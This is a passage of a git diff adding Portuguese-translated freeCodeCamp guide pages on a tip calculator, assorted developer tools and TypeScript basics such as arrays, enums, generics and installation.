+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script> 
+ 
+  </body> 
+ </html> 
+```
+
+## Etapa 2 - CSS:
+
+Você projeta o estilo como quiser. Você também pode usar o CSS para ocultar os resultados e mostrá-los por meio do JavaScript depois que o usuário preencher o formulário:
+
+```css
+  #results { 
+         display:none; 
+       } 
+```
+
+## Etapa 3: JavaScript:
+
+Nós adicionamos o evento onchange. O evento onchange ocorre quando o usuário interage com o formulário.
+
+Essa ação executará uma função que calcula o valor final da fatura com base na dica da porcentagem e retorna os resultados.
+
+```javascript
+document.querySelector('#tip-form').onchange = function(){ 
+ 
+  var bill = Number(document.getElementById('billTotal').value); 
+  var tip = document.getElementById('tipInput').value; 
+  document.getElementById('tipOutput').innerHTML = `${tip}%`; 
+  var tipValue = bill * (tip/100) 
+  var finalBill = bill + tipValue 
+ console.log(finalBill) 
+ var tipAmount = document.querySelector('#tipAmount') 
+ var totalBillWithTip = document.querySelector('#totalBillWithTip') 
+ 
+ tipAmount.value = tipValue.toFixed(2); 
+ totalBillWithTip.value =finalBill.toFixed(2); 
+ 
+ //Show Results 
+ 
+  document.getElementById('results').style.display='block' 
+ } 
+```
+
+Você pode ver um exemplo de trabalho e seu código no [Codepen.io](https://codepen.io/voula12/pen/djrZGw) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/triangle-calculator/index.md b/client/src/guide/portuguese/tools/calculators/triangle-calculator/index.md
new file mode 100644
index 0000000000..7f80fa67c6
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/triangle-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Triangle Calculator
+localeTitle: Calculadora Triangular
+---
+## Calculadora Triangular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/triangle-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/vector-calculator/index.md b/client/src/guide/portuguese/tools/calculators/vector-calculator/index.md
new file mode 100644
index 0000000000..2483911de5
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/vector-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Vector Calculator
+localeTitle: Calculadora do vetor
+---
+## Calculadora do vetor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/vector-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/voltage-drop-calculator/index.md b/client/src/guide/portuguese/tools/calculators/voltage-drop-calculator/index.md
new file mode 100644
index 0000000000..8606023bf1
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/voltage-drop-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Voltage Drop Calculator
+localeTitle: Calculadora de queda de tensão
+---
+## Calculadora de queda de tensão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/voltage-drop-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/calculators/volume-calculator/index.md b/client/src/guide/portuguese/tools/calculators/volume-calculator/index.md
new file mode 100644
index 0000000000..c5daf27233
--- /dev/null
+++ b/client/src/guide/portuguese/tools/calculators/volume-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Volume Calculator
+localeTitle: Calculadora de Volume
+---
+## Calculadora de Volume
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/volume-calculator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/color-naming/index.md b/client/src/guide/portuguese/tools/color-naming/index.md
new file mode 100644
index 0000000000..8243d38d1a
--- /dev/null
+++ b/client/src/guide/portuguese/tools/color-naming/index.md
@@ -0,0 +1,13 @@
+---
+title: Color Naming
+localeTitle: Nomeação de cor
+---
+## Nomeação de cor
+
+Chegando com nomes de cores, pode ser muito complicado. Existe uma ótima ferramenta que permite gerar um nome aleatório baseado no código hexadecimal colorido.
+
+### Mais Informações
+
+*   [Nomeie essa cor](http://chir.ag/projects/name-that-color)
+    
+*   [pacote npm cor-nome-gerador](https://www.npmjs.com/package/color-name-generator)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/color-picker/index.md b/client/src/guide/portuguese/tools/color-picker/index.md
new file mode 100644
index 0000000000..7762ec8d81
--- /dev/null
+++ b/client/src/guide/portuguese/tools/color-picker/index.md
@@ -0,0 +1,33 @@
+---
+title: Color Picker
+localeTitle: Seletor de cores
+---
+## Seletor de cores
+
+Um seletor de cores é uma ferramenta para experimentar cores para a web. Você pode usá-lo para escolher como as várias cores e tons vão juntos e encontrar as diferenças entre eles. Os selecionadores de cores geralmente exibem cores e informações em vários formatos, incluindo Hexadecimal e RGB.
+
+### Sites Online
+
+Os sites de selecionadores de cores oferecem a maneira mais simples de escolher rapidamente entre cores e obter informações sobre elas. Eles são úteis quando você não tem certeza sobre como usar um tom de cor ou outro ou apenas deseja obter a cor que está usando em um formato diferente.
+
+### Extensões do Navegador
+
+A instalação de uma extensão do navegador do seletor de cores permite obter informações sobre as cores usadas nas páginas da web. É útil quando você vê uma cor em algum lugar e deseja obter o código para ela. Basta clicar ou passar o lugar onde a cor está e a extensão mostrará o código para que você possa usá-lo em outro lugar.
+
+### Pacotes / Extensões do Editor de Códigos
+
+Outra maneira prática de ter um seletor de cores é instalá-lo como um pacote ou extensão em seu editor favorito. Dá-lhe a possibilidade de visualizar e alterar as cores, basta clicar nelas, sem ter que sair do editor. Além dos estilos CSS comumente usados, eles também costumam suportar variáveis ​​e cores SASS e LESS em vários formatos.
+
+### Mais Informações:
+
+Você pode verificar exemplos comuns de ferramentas de seleção de cores abaixo.
+
+*   [Seletor de cores on-line da W3schools](https://www.w3schools.com/colors/colors_picker.asp)
+    
+*   [Extensão do navegador ColorZilla](http://www.colorzilla.com/)
+    
+*   [Pacote de selecionador de cores para o Atom](https://atom.io/packages/color-picker)
+    
+*   [Paletas de cores do ambiente](http://ambiance.somethingjustlikethis.com/)
+    
+*   [Conta-gotas instantâneo](http://www.instant-eyedropper.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/image-editor/index.md b/client/src/guide/portuguese/tools/image-editor/index.md
new file mode 100644
index 0000000000..475eea1896
--- /dev/null
+++ b/client/src/guide/portuguese/tools/image-editor/index.md
@@ -0,0 +1,26 @@
+---
+title: Image Editor
+localeTitle: Editor de imagem
+---
+# Editor de imagem
+
+Desenvolvedores / artistas usam editores de imagem para manipular ou transformar imagens. _Cortar, redimensionar, corrigir cores, compor (combine muitas imagens em uma) ou remova objetos indesejados._ Alguns são mais populares que outros, mas todos eles têm recursos de edição semelhantes. As seções a seguir abrangem algumas de suas diferenças.
+
+### Editores de Imagem do Web App
+
+Os Editores de Imagem do Web App estão disponíveis no navegador. Em outras palavras, você não precisa deixar seu navegador para trabalhar em uma imagem. Exemplo: a capacidade de abrir imagens de uma pasta / url local.
+
+### Editores de código aberto
+
+Disponível como downloads gratuitos e aberto a contribuições do usuário para o desenvolvimento do software.
+
+### Editores pagos
+
+Os editores pagos precisam de um pagamento único ou são baseados em assinatura. Mas versões de avaliação estão disponíveis para testar o software antes de se comprometer a comprar. Se acontecer de você ser um estudante, muitas vezes, há descontos disponíveis através de um e-mail ou ID do aluno.
+
+### Links:
+
+*   [Pixlr Editor](https://pixlr.com/editor/) - Grátis | Navegador
+*   [Gimp](https://www.gimp.org/) - Grátis | Download | Código aberto
+*   [Photoshop](https://www.adobe.com/products/photoshop.html) - Teste Grátis | Pago
+*   [Photoshop Express](https://www.photoshop.com/products/photoshopexpress) - Grátis | Móvel
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/index.md b/client/src/guide/portuguese/tools/index.md
new file mode 100644
index 0000000000..786cb4335b
--- /dev/null
+++ b/client/src/guide/portuguese/tools/index.md
@@ -0,0 +1,9 @@
+---
+title: Tools
+localeTitle: Ferramentas
+---
+## Ferramentas
+
+Essa categoria tem muitos utilitários simples para desenvolvedores, como conversores, ferramentas de cores e referências.
+
+Se você quiser uma ferramenta de uso geral para matemática, programação ou design, pode solicitar que alguém a crie [criando um problema do GitHub aqui](https://www.github.com/freecodecamp/guides/issues/new) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/prime-number-chart/index.md b/client/src/guide/portuguese/tools/prime-number-chart/index.md
new file mode 100644
index 0000000000..599ee95a27
--- /dev/null
+++ b/client/src/guide/portuguese/tools/prime-number-chart/index.md
@@ -0,0 +1,15 @@
+---
+title: Prime Number Chart
+localeTitle: Gráfico de números primos
+---
+## Gráfico de números primos
+
+**Número Primário** : Qualquer número inteiro maior que 1, cujos únicos fatores são 1 e ele mesmo.
+
+**Números primos 1 - 100**
+
+| 2 | 3 | 5 | 7 | 11 | | ---- | ---- | ---- | ---- | ---- | | 13 | 17 | 19 | 23 | 29 | | 31 | 37 | 41 | 43 | 47 | | 53 | 59 | 61 | 67 | 71 | | 73 | 79 | 83 | 89 | 97 |
+
+#### Mais Informações:
+
+[WolframMathWorld: Prime Numbers](http://mathworld.wolfram.com/PrimeNumber.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/prime-number-generator/index.md b/client/src/guide/portuguese/tools/prime-number-generator/index.md
new file mode 100644
index 0000000000..eaabd71de1
--- /dev/null
+++ b/client/src/guide/portuguese/tools/prime-number-generator/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number Generator
+localeTitle: Gerador de números primos
+---
+## Gerador de números primos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/prime-number-generator/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/tools/source-code-editors/index.md b/client/src/guide/portuguese/tools/source-code-editors/index.md
new file mode 100644
index 0000000000..ffa17a30bf
--- /dev/null
+++ b/client/src/guide/portuguese/tools/source-code-editors/index.md
@@ -0,0 +1,61 @@
+---
+title: Source Code Editors
+localeTitle: Editores de Código Fonte
+---
+## Editores de Código Fonte
+
+Editores de código fonte são os programas que permitem a criação de código e  
+edição. Qualquer editor de texto pode ser usado para escrever código. Mas código dedicado  
+os editores oferecem muitos recursos úteis, incluindo: conclusão de texto,  
+marcação de marcação e separadores / painéis para edição lado a lado. Esses recursos podem  
+ser útil mesmo para novos usuários que não conhecem o caminho de todos os  
+opções avançadas.
+
+Existem muitos editores disponíveis para download ou uso  
+online, pago e gratuito. Eles oferecem muitos dos mesmos recursos principais, mas  
+cada um tem suas próprias sutilezas. Outras pesquisas podem ajudar a encontrar o que é  
+certo para você. Os seguintes editores são todos de plataforma cruzada e  
+livre para usar ou avaliar.
+
+## [Texto Sublime](https://www.sublimetext.com/) ![Ícone de texto sublime](//discourse-user-assets.s3.amazonaws.com/original/2X/1/1249e18855b9c9ef177e636e6c4e308b4877bf2d.png)
+
+![Sublime Text Screenshot](//discourse-user-assets.s3.amazonaws.com/original/2X/6/63f774c31a7b1a439bcef9d11e95463b6998310e.png)
+
+O Sublime Text é um editor muito popular que existe [desde 2008](https://www.sublimetext.com/blog/articles/one-point-oh) . Lá  
+há muitas opções e [extensões](https://packagecontrol.io/) disponíveis,  
+e muita [ajuda disponível](http://stackoverflow.com/search?q=sublime+text)  
+online para ajudar  
+[configurá-lo](http://www.websightdesigns.com/wiki/Setting_up_Sublime_Text_3) .  
+(A licença para uso continuado custa US $ 70. No entanto, o Sublime Text é gratuito para  
+baixar e avaliar, com um pop-up de tela.)
+
+## [Colchetes](http://brackets.io/) ![Ícone de suportes](//discourse-user-assets.s3.amazonaws.com/original/2X/d/df30640741461569071875cf4ff6cad9924f8b32.png)
+
+![Captura de tela de colchetes](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2f395a58d24ed551ed8440a10ae640777f1143b6.png)
+
+Brackets é um editor de código aberto relativamente novo da Adobe. É muito usuário  
+amigável, especialmente para pessoas que não estão acostumadas a interfaces de linha de comando  
+ou configurações / preferências de estilo JSON. Extensões e temas são rápidos e fáceis  
+para localizar e instalar através do Extension Manager.
+
+## [Átomo](https://atom.io/) ![Ícone do átomo](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7f6ba67d0ea310e1c1024f83c9acc1e0ecf255a8.png)
+
+![Screenshot do Atom](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8016e7c0937e8ce6fcb6104c9aee0026443912f5.png)
+
+Atom é um editor de [código aberto](https://github.com/atom/atom) , desenvolvido  
+pelo [GitHub](https://github.com/) . Como o Sublime Text, o Atom é bastante popular.  
+É muito configurável ("hackable", como dizem), mas recursos avançados podem  
+ser esmagadora para novos usuários. Há também muita [documentação](http://flight-manual.atom.io/) [útil](http://readwrite.com/2014/05/20/github-atom-5-tips-getting-started-tutorial-corey-johnson/)
+
+[disponível](http://stackoverflow.com/search?q=atom) online.
+
+## [Código do Visual Studio](https://code.visualstudio.com/) ![Ícone de código do Visual Studio](https://i.imgur.com/b4vFsKa.png)
+
+![Screenshot do código do Visual Studio](https://code.visualstudio.com/home/home-screenshot-mac-lg.png)
+
+O Visual Studio Code é um editor de código-fonte desenvolvido pela Microsoft em 2015 e agora é um dos editores de código mais conhecidos para desenvolvimento web. Ele suporta muitas linguagens de programação e, como as outras, você pode baixar plugins ou extensões para torná-lo mais configurável para o seu estilo de codificação. Suas principais características são:
+
+*   IntelliSense - Para realce de sintaxe, autocomplete, definições de funções e smart complete.
+*   Depuração - Ser capaz de depurar usando pontos de interrupção, pilhas de chamadas e um console interativo.
+*   Build-in Git - Revise as diferenças, os arquivos de estágio, faça commits, push e pull, todos disponíveis no editor.
+*   Extensões - Instale extensões para adicionar novos idiomas, temas, depuradores e conectar serviços adicionais.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/any-type/index.md b/client/src/guide/portuguese/typescript/any-type/index.md
new file mode 100644
index 0000000000..1b3824a96e
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/any-type/index.md
@@ -0,0 +1,14 @@
+---
+title: Any Type
+localeTitle: Qualquer tipo
+---
+# Qualquer tipo
+
+O tipo Any instrui o Typescript a suspender a verificação de tipos para as variáveis ​​especificadas. Útil ao trabalhar com conteúdo dinâmico para o qual você não conhece o tipo e para fazer a transição de sua base de código para Javascript para Datilografado em partes. Você pode usar a digitação implícita do Javascript com variáveis ​​declaradas com um tipo Any.
+
+```typescript
+  let notSure: any = 4; 
+  notSure = "maybe a string instead"; 
+  notSure = false; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/array-type/index.md b/client/src/guide/portuguese/typescript/array-type/index.md
new file mode 100644
index 0000000000..24748d8480
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/array-type/index.md
@@ -0,0 +1,60 @@
+---
+title: Array Type
+localeTitle: Tipo de Matriz
+---
+# Tipo de Matriz
+
+Você tem acesso total aos arrays no TypeScript. Os arrays podem ser escritos de duas maneiras diferentes no TypeScript:
+
+**Tipo de dados\[\]**  
+Tipo de dados seguido por colchetes `[]`
+
+```typescript
+let names: string[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma']; 
+```
+
+**Array <DataType>**  
+`Array` seguido por <DataType>
+
+```typescript
+let names: Array<string> = ['Javier', 'Emma', 'John', 'Sophia', 'Emma']; 
+```
+
+## Métodos embutidos
+
+No tipo Matriz do tipo Datilografe, você pode usar algumas funções internas. Cada tipo tem métodos comuns e exclusivos. Abaixo você pode ler sobre os mais usados ​​dos métodos do tipo array. No exemplo, usaremos a declaração de matriz acima.
+
+### pop ()
+
+Remove o último elemento de uma matriz e retorna com ele.
+
+```typescript
+var element = names.pop(); 
+ //element = Emma 
+ var element2 = names.pop(); 
+ //element2 = Sophia 
+```
+
+### empurrar()
+
+Adiciona um ou mais elementos ao final da matriz e retorna com o novo comprimento da matriz.
+
+```typescript
+var length = names.push('Tobias'); 
+ // names[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma', 'Tobias'] 
+ // lenght = 6 
+ var length2 = names.push('Jack','Lily'); 
+ // names[] = ['Javier', 'Emma', 'John', 'Sophia', 'Emma', 'Tobias','Jack','Lily'] 
+ // lenght2 = 8 
+```
+
+### marcha ré()
+
+Inverte a ordem da matriz e retorna com ela
+
+```typescript
+var reverseNames = names.reverse(); 
+ //reverseNames = ['Emma','Sophia','John','Emma','Javier'] 
+```
+
+[Mais métodos e descrição no TutorialsPoint](https://www.tutorialspoint.com/typescript/typescript_arrays.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/boolean-type/index.md b/client/src/guide/portuguese/typescript/boolean-type/index.md
new file mode 100644
index 0000000000..ec1073e588
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/boolean-type/index.md
@@ -0,0 +1,12 @@
+---
+title: Boolean Type
+localeTitle: Tipo booleano
+---
+# Tipo booleano
+
+`boolean` é o seu valor básico de true / false para JavaScript.
+
+```typescript
+let isDone: boolean = false; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/enums/index.md b/client/src/guide/portuguese/typescript/enums/index.md
new file mode 100644
index 0000000000..5267adc20d
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/enums/index.md
@@ -0,0 +1,29 @@
+---
+title: Enums
+localeTitle: Enums
+---
+## Enums
+
+Os desenvolvedores podem usar `Enums` para definir um conjunto de constantes nomeadas.
+
+Existem dois tipos de `Enums`
+
+1.  numérico
+2.  baseado em string
+
+```typescript
+// numeric enum 
+ enum NumericEnum { 
+    numeric1 = 1, 
+    numeric2, 
+    numeric3, 
+    numeric4, 
+ } 
+ 
+ // string based enum 
+ enum StringBasedEnum { 
+    Programming = "is fun", 
+    Pizza = "is good" 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/for-of-loop/index.md b/client/src/guide/portuguese/typescript/for-of-loop/index.md
new file mode 100644
index 0000000000..b482abb148
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/for-of-loop/index.md
@@ -0,0 +1,17 @@
+---
+title: For..Of Loop
+localeTitle: Para ... De Loop
+---
+# Para ... De Loop
+
+`for..of` loop é um loop especial no TypeScript que você pode usar para iterar os valores de um array.
+
+```typescript
+let fruits = ['Apple', 'Banana', 'Orange']; 
+ 
+ for (let fruit of fruits) { 
+  console.log(fruit); 
+ } 
+```
+
+A saída que você obterá do código acima será "Apple", "Banana" e "Orange". Como esse tipo de loop não percorre os índices, você não obterá "0", "1" e "2".
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/generics/index.md b/client/src/guide/portuguese/typescript/generics/index.md
new file mode 100644
index 0000000000..ccb4d7211a
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/generics/index.md
@@ -0,0 +1,71 @@
+---
+title: Generics
+localeTitle: Genéricos
+---
+## Genéricos
+
+Os desenvolvedores podem usar `Generics` para especificar restrições de tipo para classes, membros de instância, membros estáticos e funções.
+
+### O que os genéricos fazem?
+
+Essencialmente, eles servem como espaços reservados para tipos, de modo que um componente possa ser usado em vários locais em seu aplicativo, acomodando diferentes tipos.
+
+### Qual problema os Genéricos resolvem?
+
+Digamos que você quisesse garantir que os valores de entrada e retorno para uma função sejam do mesmo tipo, é onde os genéricos entram.
+
+##### Funções
+
+```typescript
+function printMessage(arg: any): any { 
+  return arg; 
+ } 
+ 
+ // typescript won't complain because the argument type and return type aren't being typed properly 
+ const myMessage: string = printMessage(1); 
+```
+
+Como você pode ver acima, passar `any` para o tipo de argumento na função, assim como o tipo de retorno, não é o ideal, pois as informações do tipo são perdidas no processo.
+
+```typescript
+// updated example 
+ function printMessage<T>(arg: T): T { 
+  return arg; 
+ } 
+ 
+ // typescript complains because the variable type and the return type of the function don't match 
+ const myMessage: string = printMessage(1); 
+ 
+ // resolve the issue by making sure both types match each other 
+ const myMessage: number = printMessage(1); 
+```
+
+A inclusão de `<T>` à função informa ao TypeScript que é genérico e, ao passar isso como uma referência, o TypeScript reconhece que os valores associados a ele são do mesmo tipo.
+
+##### Classes
+
+```typescript
+class Person { 
+  fullName: string; 
+ 
+  constructor(fullName: string) { 
+    this.fullName = fullName; 
+  } 
+ 
+  getFullName() { 
+    return 'My name is ' + this.fullName; 
+  } 
+ } 
+ 
+ class Guest extends Person {}; 
+ 
+ let guest = new Guest('abc'); 
+ 
+ function getUser<T>(user: T): T { 
+  return user; 
+ } 
+ 
+ // foo will be of type 'guest' because it's being passed in as the argument 
+ const foo = getUser(guest); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/getters-setters/index.md b/client/src/guide/portuguese/typescript/getters-setters/index.md
new file mode 100644
index 0000000000..9c91fbe3e5
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/getters-setters/index.md
@@ -0,0 +1,27 @@
+---
+title: Getters & Setters
+localeTitle: Getters & Setters
+---
# Getters & Setters
+
+O typescript também suporta a propriedade `get` e `set` . Get e Set Properties são na verdade chamados Accessors. Os acessores de uma propriedade contêm instruções executáveis ​​associadas à obtenção (leitura) ou configuração (gravação) da propriedade. As declarações podem conter o acessador get ou o acessador set ou ambos.
+
+```typescript
+class User { 
+    private _fullName: string = ''; 
+ 
+    get fullName() { 
+        return this._fullName; 
+    } 
+ 
+    set fullName(name) { 
+        this._fullName = name; 
+    } 
+ } 
+ 
+ let user = new User(); 
+ 
+ user.fullName = 'John Doe'; 
+ 
+ console.log(user.fullName); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/index.md b/client/src/guide/portuguese/typescript/index.md
new file mode 100644
index 0000000000..f5fcb80a53
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/index.md
@@ -0,0 +1,59 @@
+---
+title: TypeScript
+localeTitle: TypeScript
+---
+## TypeScript
+
+### Visão geral
+
+![TypeScript](https://i.imgur.com/uRLunzU.png)
+
+Então, como você provavelmente está ciente, o JavaScript está expandindo sua pegada todos os dias e é impressionante e surpreendente o que você pode fazer com a linguagem hoje em dia.
+
+No entanto, à medida que mais projetos de larga escala começam a usar JavaScript, o processo de tornar o código mais fácil de escrever e mais sustentável se torna cada vez mais difícil.
+
+Este é um problema que a Microsoft reconheceu desde cedo e surgiu com a solução do TypeScript e lançou a primeira versão aproximadamente em 1º de outubro de 2012.
+
+Você pode aprender mais sobre as diferenças de sintaxe em [`TypeScript`](./) > [`JavaScript vs TypeScript`](./javascript-vs-typescript) .
+
+![Características principais](https://i.imgur.com/pZij95O.jpg)
+
+Em essência, o TypeScript está tentando ajudar o JavaScript a alcançar novas alturas e se tornar muito escalonável e pode ser destacado pelos seguintes recursos:
+
+*   linguagem de programação livre e de código aberto desenvolvida e mantida pela Microsoft
+*   super-conjunto sintático estrito de JavaScript que compila a JavaScript simples
+*   facilita o desenvolvimento de aplicações de grande escala escritas em JavaScript
+*   estende JavaScript adicionando tipos estáticos, classes, módulos, interfaces e genéricos
+
+**🎉 DIVERTIDO O** TypeScript completou 5 anos em 1º de outubro de 2017.
+
+### Versão
+
+A última versão estável disponível é o [TypeScript 3.1](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-1.html) .
+
+### Instalação
+
+Para saber mais sobre a instalação, consulte [`TypeScript`](./) > [`Installation`](./installation) .
+
+### Linter
+
+Para aprender mais sobre como usar um linter com o TypeScript, confira o [`TypeScript`](./) > [`Linter`](./linter) .
+
+### Parque infantil
+
+![Parque infantil](https://i.imgur.com/vlV7ZFr.png)
+
+Se você quiser experimentar o TypeScript sem instalá-lo, visite o [TypeScript Playground](http://www.typescriptlang.org/play/index.html) .
+
+O Playground possui autocompletar integrado e a capacidade de ver diretamente o JavaScript emitido.
+
+### Outros recursos
+
+Para aprender mais sobre instalação, veja o [Apêndice de Instalação](./src/articles/typescript/appendix-installation/index.md) .
+
+Caso você precise apenas de um verificador de tipos e não queira compilar seu programa, leia sobre o [Flux](https://facebook.github.io/flux/) .
+
+*   [Começo rápido](http://www.typescriptlang.org/samples/index.html)
+*   [Documentação](http://www.typescriptlang.org/docs/home.html)
+*   [Código fonte](https://github.com/Microsoft/TypeScript)
+*   [TutorialsPoint](https://www.tutorialspoint.com/typescript/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/installation/index.md b/client/src/guide/portuguese/typescript/installation/index.md
new file mode 100644
index 0000000000..685d13de2a
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/installation/index.md
@@ -0,0 +1,88 @@
+---
+title: Installation
+localeTitle: Instalação
+---
+## Instalação
+
+![Instalação](https://i.imgur.com/9ILjA1q.jpg)
+
+Para começar você mesmo, as duas coisas que você precisará são o compilador de TypeScript e um editor que suporta TypeScript.
+
+Na captura de tela acima, estou instalando o compilador e o [TSLint](https://github.com/palantir/tslint) (que é semelhante ao [ESLint](https://eslint.org/) ) usando `npm` no terminal integrado do [Visual Studio Code](https://code.visualstudio.com/) .
+
+### Instalando o TypeScript
+
+Este comando instalará o pacote TypeScript como uma dependência em seu projeto usando o [`npm`](https://www.npmjs.com/) que é um gerenciador de pacotes popular.
+
+```bash
+npm i typescript 
+```
+
+_Nota_ Existem [várias opções](https://docs.npmjs.com/cli/install) que o `npm` fornece dependendo de onde você deseja que o TypeScript seja instalado.
+
+*   `npm i -g typescript` para instalar globalmente o pacote TypeScript
+*   `npm i -D typescript` para instalar o pacote TypeScript como uma dependência dev
+
+### TSLint
+
+Veja como configurar as opções de lintagem do [TypeScript](./) em [TypeScript](./) > [Linter](./linter) no **Guia freeCodeCamp** .
+
+### Compilando um único arquivo até o JavaScript
+
+```bash
+tsc multiplication.ts 
+```
+
+_Nota_ Você pode configurar este processo de compilação do TypeScript como um script npm personalizado no seu `package.json` .
+
+### Opções de configuração
+
+```bash
+touch tsconfig.json 
+```
+
+Há também a opção de criar um arquivo [`tsconfig.json`](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html) que especifica os arquivos raiz e as opções do compilador.
+
+Em seu arquivo [`tsconfig.json`](https://www.typescriptlang.org/docs/handbook/tsconfig-json.html) , por exemplo, você pode especificar que você deseja que o TypeScript compile para ES5 em vez de ES6.
+
+### Exemplo Rápido
+
+![Multiplicação](https://i.imgur.com/V5nP3xj.jpg)
+
+Na imagem acima, você pode ver dois arquivos - `multiplication.js` e `multiplication.ts` .
+
+Este programa apenas imprime o produto de dois números pré-definidos.
+
+> `multiplication.ts`
+
+```typescript
+let a: number = 10; 
+ let b: number = 2; 
+ 
+ function showProduct(first: number, second: number): void { 
+  console.info("Mathematical! The result is " + first * second + "."); 
+ } 
+ 
+ showProduct(a, b); 
+ 
+ // Mathematical! The result is 20. 
+```
+
+Depois que eu terminar de criar `multiplication.ts` , posso compilá-lo para baixo para JavaScript usando o `tsc` comando que significa compilação original datilografado.
+
+> `multiplication.js`
+
+```javascript
+var a = 10; 
+ var b = 2; 
+ 
+ function showProduct(first, second) { 
+    console.info("Mathematical! The result is " + first * second + "."); 
+ } 
+ 
+ showProduct(a, b); 
+ 
+ // Mathematical! The result is 20. 
+```
+
+Bam - Acabei de compilar com sucesso o TypeScript para JavaScript!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/interfaces/index.md b/client/src/guide/portuguese/typescript/interfaces/index.md
new file mode 100644
index 0000000000..686226f0f5
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/interfaces/index.md
@@ -0,0 +1,29 @@
+---
+title: Interfaces
+localeTitle: Interfaces
+---
# Interfaces
+
+Um dos princípios básicos do TypeScript é que a verificação de tipos se concentra na forma que os valores têm. Isso às vezes é chamado de "tipagem de pato" ou "subtipagem estrutural". Em TypeScript, as `interfaces` preenchem o papel de nomear esses tipos e são uma maneira poderosa de definir contratos em seu código, bem como contratos com código fora de seu projeto.
+
+```typescript
+interface User = { 
+    firstName: string; 
+    lastName: string; 
+ } 
+ 
+ function printUserInfo(user: User) { 
+    console.log(user.firstName); 
+ } 
+ 
+ let myObj = {firstName: 'John', lastName: 'Doe'} 
+ printUserInfo(myObj); 
+```
+
+Interfaces podem conter parâmetros opcionais
+
+```typescript
+interface User = { 
+    email?: string; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typescript/javascript-vs-typescript/index.md b/client/src/guide/portuguese/typescript/javascript-vs-typescript/index.md
new file mode 100644
index 0000000000..1be97f7274
--- /dev/null
+++ b/client/src/guide/portuguese/typescript/javascript-vs-typescript/index.md
@@ -0,0 +1,19 @@
+---
+title: JavaScript vs TypeScript
+localeTitle: JavaScript vs TypeScript
+---
+## JavaScript vs TypeScript
+
+![Onde está Waldo](https://i.imgur.com/DznuAou.jpg)
+
+Ok, agora que temos uma noção geral do que é o TypeScript, vamos jogar um jogo rápido de **Where's Waldo** .
+
